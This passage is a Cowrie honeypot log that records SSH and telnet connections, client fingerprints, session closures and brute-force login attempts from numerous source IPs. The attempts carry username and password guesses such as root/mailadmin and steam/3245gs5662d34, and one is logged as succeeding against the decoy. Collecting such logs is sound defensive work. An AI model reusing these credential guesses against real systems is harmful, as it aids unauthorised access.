v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:14.189871Z","src_ip":"185.48.213.208","session":"de2aab1bab8f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:14.690134Z","src_ip":"185.48.213.208","session":"de2aab1bab8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:14.811838Z","src_ip":"185.48.213.208","session":"23be45e305c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:14.816611Z","src_ip":"185.48.213.208","session":"de2aab1bab8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00543332099915,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:19.477154Z","src_ip":"179.182.234.94","session":"e6c743dbc959","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.182.234.94","src_port":60566,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cf162c83552","protocol":"telnet","message":"New connection: 179.182.234.94:60566 (10.17.0.5:23) [session: 0cf162c83552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:21.252783Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":45517,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d1d8f905ee9","protocol":"ssh","message":"New connection: 103.248.120.6:45517 (10.17.0.5:22) [session: 5d1d8f905ee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:23.505026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:23.509975Z","src_ip":"103.248.120.6","session":"5d1d8f905ee9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:23.732469Z","src_ip":"103.248.120.6","session":"5d1d8f905ee9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"789UIOjkl","message":"login attempt [ubuntu/789UIOjkl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:24.657724Z","src_ip":"103.248.120.6","session":"5d1d8f905ee9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:25.885102Z","src_ip":"103.248.120.6","session":"5d1d8f905ee9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":52398,"dst_ip":"10.17.0.5","dst_port":23,"session":"53b790d3526e","protocol":"telnet","message":"New connection: 20.123.41.163:52398 (10.17.0.5:23) [session: 53b790d3526e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:26.628985Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.177","src_port":34576,"dst_ip":"10.17.0.5","dst_port":22,"session":"7278cbe61bc3","protocol":"ssh","message":"New connection: 209.99.189.177:34576 (10.17.0.5:22) [session: 7278cbe61bc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:28.385693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:28.390898Z","src_ip":"209.99.189.177","session":"7278cbe61bc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:28.522388Z","src_ip":"209.99.189.177","session":"7278cbe61bc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es1234567","message":"login attempt [es/es1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:29.079795Z","src_ip":"209.99.189.177","session":"7278cbe61bc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:30.215704Z","src_ip":"209.99.189.177","session":"7278cbe61bc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.206748962402344,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:30.824235Z","src_ip":"20.123.41.163","session":"9b8cac3e2f76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.4.244.179","src_port":20041,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f885ff72b17","protocol":"ssh","message":"New connection: 155.4.244.179:20041 (10.17.0.5:22) [session: 3f885ff72b17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:32.051750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:32.056510Z","src_ip":"155.4.244.179","session":"3f885ff72b17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:32.161660Z","src_ip":"155.4.244.179","session":"3f885ff72b17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"A123456","message":"login attempt [bitrix/A123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:33.137331Z","src_ip":"155.4.244.179","session":"3f885ff72b17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:34.244471Z","src_ip":"155.4.244.179","session":"3f885ff72b17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.18624210357666,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:23:35.815141Z","src_ip":"20.123.41.163","session":"53b790d3526e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":46200,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fcced65cbbc","protocol":"telnet","message":"New connection: 174.138.46.234:46200 (159.203.135.109:23) [session: 0fcced65cbbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:24:08.642518Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":46654,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2ddd317fb2e","protocol":"telnet","message":"New connection: 174.138.46.234:46654 (159.203.135.109:23) [session: b2ddd317fb2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:24:10.018131Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":46782,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b56cecb8fdd","protocol":"telnet","message":"New connection: 174.138.46.234:46782 (159.203.135.109:23) [session: 2b56cecb8fdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:24:10.490370Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":47110,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcb3b90e6765","protocol":"telnet","message":"New connection: 174.138.46.234:47110 (159.203.135.109:23) [session: fcb3b90e6765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:24:11.520798Z"}
{"eventid":"cowrie.session.closed","duration":5.951114654541016,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:24:15.969103Z","src_ip":"174.138.46.234","session":"b2ddd317fb2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.924455881118774,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:24:16.566858Z","src_ip":"174.138.46.234","session":"0fcced65cbbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.4.244.179","src_port":20037,"dst_ip":"10.17.0.5","dst_port":22,"session":"72259eaed50e","protocol":"ssh","message":"New connection: 155.4.244.179:20037 (10.17.0.5:22) [session: 72259eaed50e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:24:35.021108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:24:35.025839Z","src_ip":"155.4.244.179","session":"72259eaed50e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:24:35.136263Z","src_ip":"155.4.244.179","session":"72259eaed50e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mailadmin","message":"login attempt [root/mailadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:24:36.085523Z","src_ip":"155.4.244.179","session":"72259eaed50e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:24:37.193954Z","src_ip":"155.4.244.179","session":"72259eaed50e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":55044,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5fca12cff8f","protocol":"telnet","message":"New connection: 174.138.46.234:55044 (159.203.135.109:23) [session: f5fca12cff8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:24:37.856413Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":55162,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c1f38c509ad","protocol":"telnet","message":"New connection: 174.138.46.234:55162 (159.203.135.109:23) [session: 5c1f38c509ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:24:38.194019Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":55268,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc4d639a12b2","protocol":"telnet","message":"New connection: 174.138.46.234:55268 (159.203.135.109:23) [session: fc4d639a12b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:24:38.556404Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":55372,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5a7b9edbbf5","protocol":"telnet","message":"New connection: 174.138.46.234:55372 (159.203.135.109:23) [session: e5a7b9edbbf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:24:38.908358Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.252.154.12","src_port":50842,"dst_ip":"10.17.0.5","dst_port":23,"session":"24a2d9d97463","protocol":"telnet","message":"New connection: 5.252.154.12:50842 (10.17.0.5:23) [session: 24a2d9d97463]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:24:40.386685Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.252.154.12","src_port":50844,"dst_ip":"10.17.0.5","dst_port":23,"session":"a744f2c0a1ca","protocol":"telnet","message":"New connection: 5.252.154.12:50844 (10.17.0.5:23) [session: a744f2c0a1ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:24:41.395048Z"}
{"eventid":"cowrie.session.closed","duration":5.978691101074219,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:24:44.535010Z","src_ip":"174.138.46.234","session":"fc4d639a12b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.764196395874023,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:24:45.620508Z","src_ip":"174.138.46.234","session":"f5fca12cff8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.840928316116333,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:24:46.034855Z","src_ip":"174.138.46.234","session":"5c1f38c509ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.940095901489258,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:24:46.848338Z","src_ip":"174.138.46.234","session":"e5a7b9edbbf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":11357,"dst_ip":"10.17.0.5","dst_port":22,"session":"beb51fd9392c","protocol":"ssh","message":"New connection: 185.48.213.208:11357 (10.17.0.5:22) [session: beb51fd9392c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:24:55.664368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:24:55.669609Z","src_ip":"185.48.213.208","session":"beb51fd9392c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:24:55.790236Z","src_ip":"185.48.213.208","session":"beb51fd9392c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wp-user","password":"wp-user","message":"login attempt [wp-user/wp-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:24:56.303331Z","src_ip":"185.48.213.208","session":"beb51fd9392c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.058117389678955,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:24:56.578777Z","src_ip":"174.138.46.234","session":"fcb3b90e6765","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.472819805145264,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:24:56.963083Z","src_ip":"174.138.46.234","session":"2b56cecb8fdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:24:57.426336Z","src_ip":"185.48.213.208","session":"beb51fd9392c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.49.238.58","src_port":24694,"dst_ip":"159.203.135.109","dst_port":23,"session":"32e9c1edfca8","protocol":"telnet","message":"New connection: 201.49.238.58:24694 (159.203.135.109:23) [session: 32e9c1edfca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:24:59.393667Z"}
{"eventid":"cowrie.session.closed","duration":12.55655837059021,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:25:11.950104Z","src_ip":"201.49.238.58","session":"32e9c1edfca8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.739128828048706,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:25:12.125698Z","src_ip":"5.252.154.12","session":"24a2d9d97463","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.937703609466553,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:25:12.332631Z","src_ip":"5.252.154.12","session":"a744f2c0a1ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00957608222961,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:25:21.262233Z","src_ip":"179.182.234.94","session":"0cf162c83552","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.177","src_port":60946,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b071b17c238","protocol":"ssh","message":"New connection: 209.99.189.177:60946 (10.17.0.5:22) [session: 4b071b17c238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:25:22.173010Z"}
